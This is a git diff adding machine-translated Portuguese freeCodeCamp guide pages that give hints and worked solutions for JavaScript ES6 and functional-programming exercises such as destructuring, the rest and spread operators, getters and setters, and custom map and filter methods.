+localeTitle: Use Destignucturing Assignment para passar um objeto como um parâmetro de função
+---
+## Use Destignucturing Assignment para passar um objeto como um parâmetro de função
+
+Você pode passar o objeto inteiro e escolher os atributos específicos que deseja usando o `.` operador. Mas o ES6 oferece uma opção mais elegante!
+
+## Sugestão 1:
+
+Livre-se das `stats` e veja se você pode destruí-lo. Precisamos do `max` e `min` de `stats` .
+
+## Aviso de spoiler - soluções à frente!
+
+## Solução 1:
+
+```javascript
+const half = (function() { 
+  "use strict"; // do not change this line 
+ 
+  // change code below this line 
+  return function half({max, min}) { 
+    // use function argument destructuring 
+    return (max + min) / 2.0; 
+  }; 
+  // change code above this line 
+ 
+ })(); 
+```
+
+Observe que estamos destruindo as `stats` para passar dois de seus atributos - `max` e `min` - para a função. Não esqueça de modificar a segunda instrução de retorno. Mude `stats.max` para `max` e mude `stats.min` para apenas `min` .
+
+## Solução 2:
+
+Aqui está outra solução que funciona. Não é muita diferença, além do fato de que a função não tem nome.
+
+```javascript
+const half = (function() { 
+  "use strict"; // do not change this line 
+ 
+  // change code below this line 
+  return (({max, min}) => { 
+    // use function argument destructuring 
+    return (max + min) / 2.0; 
+  }); 
+  // change code above this line 
+ 
+ })(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md
new file mode 100644
index 0000000000..b12f01d37d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md
@@ -0,0 +1,72 @@
+---
+title: Use Destructuring Assignment with the Rest Operator to Reassign Array Elements
+localeTitle: Use Destructuring Assignment com o Operador Descanso para Reatribuir Elementos da Matriz
+---
+## Use Destructuring Assignment com o Operador Descanso para Reatribuir Elementos da Matriz
+
+Lembre-se de que o operador rest permite números variáveis ​​de argumentos. Nesse desafio, você precisa se livrar dos dois primeiros elementos de um array.
+
+## Sugestão 1:
+
+Atribuir os dois primeiros elementos a duas variáveis ​​aleatórias.
+
+## Dica 2:
+
+Defina a parte restante da matriz para `...arr` .
+
+\=======
+
+## Sugestão 1
+
+Use a desestruturação para criar a variável `arr` .
+
+```javascript
+function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+```
+
+## Sugestão 2
+
+Espalhe o parâmetro `list` em `arr` .
+
+```javascript
+function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [...arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+```
+
+## Dica 3
+
+Exclua os dois primeiros elementos da matriz `arr` com `,,` .
+
+```javascript
+function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [,,...arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+```
+
+## Alerta de Spoiler - Solução à frente!
+
+```javascript
+function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [a, b, ...arr] = list; 
+  // change code above this line 
+  return arr; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md
new file mode 100644
index 0000000000..1a620bded0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md
@@ -0,0 +1,24 @@
+---
+title: Use export to Reuse a Code Block
+localeTitle: Use a exportação para reutilizar um bloco de código
+---
+## Use a exportação para reutilizar um bloco de código
+
+Aprendemos a importar material de outro arquivo. Mas há um problema. Você só pode importar arquivos que são **exportados** daquele outro arquivo.
+
+Sua tarefa aqui é exportar `foo` e `bar` .
+
+## Sugestão 1:
+
+Basta adicionar exportação na frente deles!
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+"use strict"; 
+ export const foo = "bar"; 
+ export const bar = "foo"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md
new file mode 100644
index 0000000000..844e3c8ff0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md
@@ -0,0 +1,50 @@
+---
+title: Use getters and setters to Control Access to an Object
+localeTitle: Use getters e setters para controlar o acesso a um objeto
+---
+## Use getters e setters para controlar o acesso a um objeto
+
+Getters e setters são partes críticas de uma classe / objeto. Eles permitem que você controle seus atributos do lado de fora. Eles se tornarão mais proeminentes quando você começar com a unidade de Programação Orientada a Objetos (chegando!). Por enquanto, este exercício mostra como manipulá-los com o ES6.
+
+## Sugestão 1:
+
+Crie a classe, termostato. Você vai colocar seu construtor, getter e setter aqui.
+
+## Dica 2:
+
+Dê ao construtor um parâmetro (que você pode nomear o que quiser). Defina o parâmetro para um atributo com o mesmo nome. Lembre-se, você está inicialmente definindo as coisas na temperatura de Farenheit.
+
+## Dica 3:
+
+Crie um método get que converta o atributo Farenheit para Celsius. Use a fórmula dada a você.
+
+## Dica 4:
+
+Crie um método set com o mesmo nome do método get. Deve ter um parâmetro que aceite temperatura celsius. Converta-o para farenheit e configure-o para o atributo.
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+ 
+  class Thermostat{ 
+    constructor(farenheit){ 
+      this.farenheit = farenheit; 
+    } 
+    get temperature(){ 
+      return 5 / 9 * (this.farenheit - 32); 
+    } 
+    set temperature(celsius){ 
+      this.farenheit = celsius * 9.0 / 5 + 32; 
+    } 
+  } 
+ 
+  /* Alter code above this line */ 
+  return Thermostat; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md
new file mode 100644
index 0000000000..4c4af712d3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md
@@ -0,0 +1,47 @@
+---
+title: Use the Rest Operator with Function Parameters
+localeTitle: Use o operador de descanso com parâmetros de função
+---
+## Use o operador de descanso com parâmetros de função
+
+### Explicação do parâmetro de repouso
+
+[Rede de desenvolvedores da Mozilla](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters "Rede de desenvolvedores da Mozilla")
+
+### Operador de spread comparado ao parâmetro de descanso
+
+[Estouro de pilha](https://stackoverflow.com/questions/33898512/spread-operator-vs-rest-parameter-in-es2015-es6 "Estouro de pilha")
+
+### Vídeo explicando propagação e descanso
+
+[!["Imagem](http://img.youtube.com/vi/iLx4ma8ZqvQ/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[### Exemplo
+
+Este código
+
+```javascript
+const product = (function() { 
+    "use strict"; 
+    return function product(n1, n2, n3) { 
+        const args = [n1, n2, n3]; 
+        return args.reduce((a, b) => a * b, 1); 
+    }; 
+ })(); 
+ console.log(product(2, 4, 6));//48 
+```
+
+Pode ser escrito como tal
+
+```javascript
+const product = (function() { 
+    "use strict"; 
+    return function product(...n) { 
+        return n.reduce((a, b) => a * b, 1); 
+    }; 
+ })(); 
+ console.log(product(2, 4, 6));//48 
+
+```](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md
new file mode 100644
index 0000000000..f9cbe03093
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md
@@ -0,0 +1,49 @@
+---
+title: Use the Spread Operator to Evaluate Arrays In-Place
+localeTitle: Use o operador de propagação para avaliar matrizes no local
+---
+## Use o operador de propagação para avaliar matrizes no local
+
+### Operador de spread explicado
+
+[Operador de propagação de rede do Mozilla Developer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax "Rede de desenvolvedores da Mozilla")
+
+### Operador de spread comparado ao parâmetro Rest
+
+[Estouro de pilha](https://stackoverflow.com/questions/33898512/spread-operator-vs-rest-parameter-in-es2015-es6 "Estouro de pilha")
+
+### Vídeo Explicação Operador de Spread e Parâmetro de Repouso
+
+[!["Imagem](http://img.youtube.com/vi/iLx4ma8ZqvQ/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[
+
+### Informações sobre o método apply ()
+
+](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)[Mozilla Developer Network Apply Method](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply "Rede de desenvolvedores da Mozilla")
+
+### 3 exemplos rápidos
+
+```javascript
+let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min.apply(null, numbers); 
+ console.log(minNum);//-12 
+```
+
+```javascript
+let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min(numbers); 
+ console.log(minNum);//NaN 
+```
+
+```javascript
+let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min(...numbers); 
+ console.log(minNum);//-12 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md
new file mode 100644
index 0000000000..72bfc1b410
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md
@@ -0,0 +1,31 @@
+---
+title: Write Arrow Functions with Parameters
+localeTitle: Escrever funções de seta com parâmetros
+---
+## Escrever funções de seta com parâmetros
+
+Aqui está um [recurso interessante sobre funções anônimas em JavaScript](http://helephant.com/2008/08/23/javascript-anonymous-functions/) , caso você ainda esteja se perguntando o que elas são e o papel delas.
+
+Agora, você está encarregado de colocar parâmetros dentro das funções de seta.
+
+## Sugestão 1:
+
+Livre-se da palavra-chave da `function` . Coloque o operador de flecha.
+
+## Dica 2:
+
+Certifique-se de ter alterado o `var` para um `const` .
+
+## Aviso de spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+const myConcat = (arr1, arr2) => { 
+  "use strict"; 
+  return arr1.concat(arr2); 
+ }; 
+ // test your code 
+ console.log(myConcat([1, 2], [3, 4, 5])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md
new file mode 100644
index 0000000000..3fda044f21
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md
@@ -0,0 +1,26 @@
+---
+title: Write Concise Declarative Functions with ES6
+localeTitle: Escrever funções declarativas concisas com o ES6
+---
+## Escrever funções declarativas concisas com o ES6
+
+O ES6 torna fácil e sofisticado escrever funções declarativas! Nesta lição, você está encarregado de alterar a função para seguir os padrões do ES6.
+
+## Sugestão 1:
+
+Livre-se da palavra-chave da `function` .
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução
+
+```javascript
+const bicycle = { 
+  gear: 2, 
+  setGear(newGear) { 
+    "use strict"; 
+    this.gear = newGear; 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md
new file mode 100644
index 0000000000..1a6dff1fdd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md
@@ -0,0 +1,29 @@
+---
+title: Write Concise Object Literal Declarations Using Simple Fields
+localeTitle: Escrever declarações concisas de objetos concisos usando campos simples
+---
+## Escrever declarações concisas de objetos concisos usando campos simples
+
+Aqui, temos a tarefa de retornar um objeto que aceita os parâmetros da função como seus atributos.
+
+# Sugestão 1:
+
+Livre-se dos dois pontos e das palavras duplicadas.
+
+## Alerta de spoiler - Solução à frente
+
+## Solução
+
+```javascript
+const createPerson = (name, age, gender) => { 
+  "use strict"; 
+  // change code below this line 
+  return { 
+    name, 
+    age, 
+    gender 
+  }; 
+  // change code above this line 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md
new file mode 100644
index 0000000000..0076cd83d8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md
@@ -0,0 +1,70 @@
+---
+title: Write Higher Order Arrow Functions
+localeTitle: Escrever funções de seta de ordem superior
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### Explicação do Problema:
+
+Precisamos calcular e `realNumberArray` valores a partir do `realNumberArray` e armazená-los na variável `squaredIntegers` usando as `squaredIntegers` `map()` , `filter()` e / ou `reduce()` .
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Você precisará `filter()` o `realNumberArray` para inteiros positivos (decimais não são inteiros).
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Você precisará `map()` os valores da sua função `filter()` para a variável `squaredIntegers` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   Lembre-se da magia das funções de encadeamento.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    const squareList = (arr) => { 
+      "use strict"; 
+      const squaredIntegers = arr.filter( (num) => num > 0 && num % parseInt(num) === 0 ).map( (num) => Math.pow(num, 2) ); 
+      return squaredIntegers; 
+    }; 
+ 
+    // test your code 
+    const squaredIntegers = squareList(realNumberArray); 
+    console.log(squaredIntegers); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://codepen.io/dylantyates/pen/WyWoYJ)
+
+# Explicação do código:
+
+Usa as funções `filter()` e `map()` do operador para alinhar todos os inteiros positivos em uma determinada matriz.
+
+#### Links Relevantes
+
+*   [mapa()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [filtro()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [reduzir()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md
new file mode 100644
index 0000000000..1fa4903341
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md
@@ -0,0 +1,29 @@
+---
+title: Add Elements to the End of an Array Using concat Instead of push
+localeTitle: Adicionar elementos ao final de um array usando concat Em vez de push
+---
+## Adicionar elementos ao final de um array usando concat Em vez de push
+
+Onde o método `push` adiciona um novo elemento ao final do array original, o método `concat` cria um novo array contendo os elementos do array original e o novo elemento. O array original permanece o mesmo ao usar `concat` .
+
+#### Links Relevantes:
+
+*   [Array.prototype.concat ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
+
+## Solução
+
+```javascript
+function nonMutatingPush(original, newItem) { 
+ 
+  // Add your code below this line 
+ 
+  return original.concat(newItem); 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var first = [1, 2, 3]; 
+ var second = [4, 5]; 
+ nonMutatingPush(first, second); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md
new file mode 100644
index 0000000000..80dbbc307c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md
@@ -0,0 +1,39 @@
+---
+title: Apply Functional Programming to Convert Strings to URL Slugs
+localeTitle: Aplicar programação funcional para converter seqüências de caracteres em URL Slugs
+---
+## Aplicar programação funcional para converter seqüências de caracteres em URL Slugs
+
+### Solução
+
+```javascript
+// the global variable 
+ var globalTitle = "Winter Is Coming"; 
+ 
+ // Add your code below this line 
+ function urlSlug(title) { 
+ return title.split(/\W/).filter((obj)=>{ 
+    return obj !==''; 
+  }).join('-').toLowerCase(); 
+ 
+ } 
+ // Add your code above this line 
+ 
+ var winterComing = urlSlug(globalTitle); // Should be "winter-is-coming" 
+```
+
+### Solução alternativa
+
+```javascript
+// the global variable 
+ var globalTitle = "Winter Is Coming"; 
+ 
+ // Add your code below this line 
+ function urlSlug(title) { 
+  return title.toLowerCase().trim().split(/\s+/).join('-'); 
+ } 
+ // Add your code above this line 
+ 
+ var winterComing = urlSlug(globalTitle); // Should be "winter-is-coming" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md
new file mode 100644
index 0000000000..3b8fdb58cd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md
@@ -0,0 +1,31 @@
+---
+title: Avoid Mutations and Side Effects Using Functional Programming
+localeTitle: Evite Mutações e Efeitos Colaterais Usando Programação Funcional
+---
+## Evite Mutações e Efeitos Colaterais Usando Programação Funcional
+
+### Explicação do Problema
+
+Preencha o código para o `incrementer` função para que ele retorne o valor da variável global `fixedValue` aumentado em um. `fixedValue` não deve mudar, não importa quantas vezes a função `incrememter` seja chamada.
+
+### Sugestão 1
+
+Usar o operador de incremento ( `++` ) em `fixedValue` `fixedValue` , o que significa que ele não fará mais referência ao mesmo valor com o qual foi designado.
+
+### Solução:
+
+```javascript
+// the global variable 
+ var fixedValue = 4; 
+ 
+ function incrementer () { 
+  // Add your code below this line 
+  return fixedValue + 1; 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var newValue = incrementer(); // Should equal 5 
+ console.log(fixedValue); // Should print 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md
new file mode 100644
index 0000000000..3333063a5c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md
@@ -0,0 +1,35 @@
+---
+title: Combine an Array into a String Using the join Method
+localeTitle: Combine uma matriz em uma seqüência de caracteres usando o método de associação
+---
+## Combine uma matriz em uma seqüência de caracteres usando o método de associação
+
+### Explicação do Problema
+
+Use o método `join` (entre outros) dentro da função `sentensify` para fazer uma sentença a partir das palavras na string `str` . A função deve retornar uma string. Por exemplo, "Eu-como-Star-Wars" seria convertido para "Eu gosto de Star Wars". Para este desafio, não use o método `replace` .
+
+#### Links Relevantes:
+
+*   [Array.prototype.join ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+*   [String.prototype.split ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [Expressões regulares](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+
+### Dica1
+
+Você pode precisar converter a string para um array primeiro.
+
+### Dica2
+
+Você pode precisar usar expressões regulares para dividir a string.
+
+### Solução:
+
+```javascript
+function sentensify(str) { 
+  // Add your code below this line 
+  return str.split(/\W/).join(' '); 
+  // Add your code above this line 
+ } 
+ sentensify("May-the-force-be-with-you"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md
new file mode 100644
index 0000000000..35f6452eb4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md
@@ -0,0 +1,24 @@
+---
+title: Combine Two Arrays Using the concat Method
+localeTitle: Combine duas matrizes usando o método concat
+---
+## Combine duas matrizes usando o método concat
+
+*   O método concat é usado para unir dois ou mais arrays ou strings.
+*   Este método não altera os arrays existentes, mas retorna um novo array.
+
+## Solução
+
+```javascript
+function nonMutatingConcat(original, attach) { 
+  // Add your code below this line 
+ 
+  return original.concat(attach); 
+ 
+  // Add your code above this line 
+ } 
+ var first = [1, 2, 3]; 
+ var second = [4, 5]; 
+ nonMutatingConcat(first, second); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md
new file mode 100644
index 0000000000..44745aec99
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md
@@ -0,0 +1,34 @@
+---
+title: Implement map on a Prototype
+localeTitle: Implementar mapa em um protótipo
+---
+## Implementar mapa em um protótipo
+
+Para resolver este desafio usando a palavra-chave, esta é uma chave.
+
+Isso nos dará acesso ao objeto que estamos chamando de myMap.
+
+A partir daí, podemos usar o loop forEach ou for para adicionar elementos ao array vazio já declarado à medida que modificamos cada elemento com o método de retorno de chamada fornecido.
+
+```javascript
+// the global Array 
+ var s = [23, 65, 98, 5]; 
+ 
+ Array.prototype.myMap = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  this.forEach(a => newArray.push(callback(a))); 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+ 
+ var new_s = s.myMap(function(item){ 
+  return item * 2; 
+ }); 
+```
+
+### Links Úteis
+
+[isto. Javascript MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)  
+[isto. Javascript W3Schools](https://www.w3schools.com/js/js_this.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md
new file mode 100644
index 0000000000..e0913b5c0e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md
@@ -0,0 +1,45 @@
+---
+title: Implement the filter Method on a Prototype
+localeTitle: Implementar o método de filtro em um protótipo
+---
+## Implementar o método de filtro em um protótipo
+
+```javascript
+// the global Array 
+ var s = [23, 65, 98, 5]; 
+ 
+ Array.prototype.myFilter = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  this.forEach(function(x) { 
+    if (callback(x) == true) { 
+      newArray.push(x); 
+    } 
+  }) 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+```
+
+## Outra solução usando o looop!
+
+```javascript
+Array.prototype.myFilter = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  for (let i=0; i<this.length;i++){ 
+    if(callback(this[i])=== true ){ 
+ newArray.push(this[i]); 
+    } 
+  } 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+ 
+ var new_s = s.myFilter(function(item){ 
+  return item % 2 === 1; 
+ }); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md
new file mode 100644
index 0000000000..b1f5702a06
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Functional Programming
+localeTitle: Programação Funcional
+---
+## Programação Funcional
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md
new file mode 100644
index 0000000000..e16a8bee52
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md
@@ -0,0 +1,21 @@
+---
+title: Introduction to Currying and Partial Application
+localeTitle: Introdução ao Currying e Aplicação Parcial
+---
+## Introdução ao Currying e Aplicação Parcial
+
+### Solução
+
+```javascript
+function add(x) { 
+  // Add your code below this line 
+  return function(y) { 
+    return function(z) { 
+      return x + y + z; 
+    } 
+  } 
+  // Add your code above this line 
+ } 
+ add(10)(20)(30); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md
new file mode 100644
index 0000000000..66f7013ddc
--- /dev/null
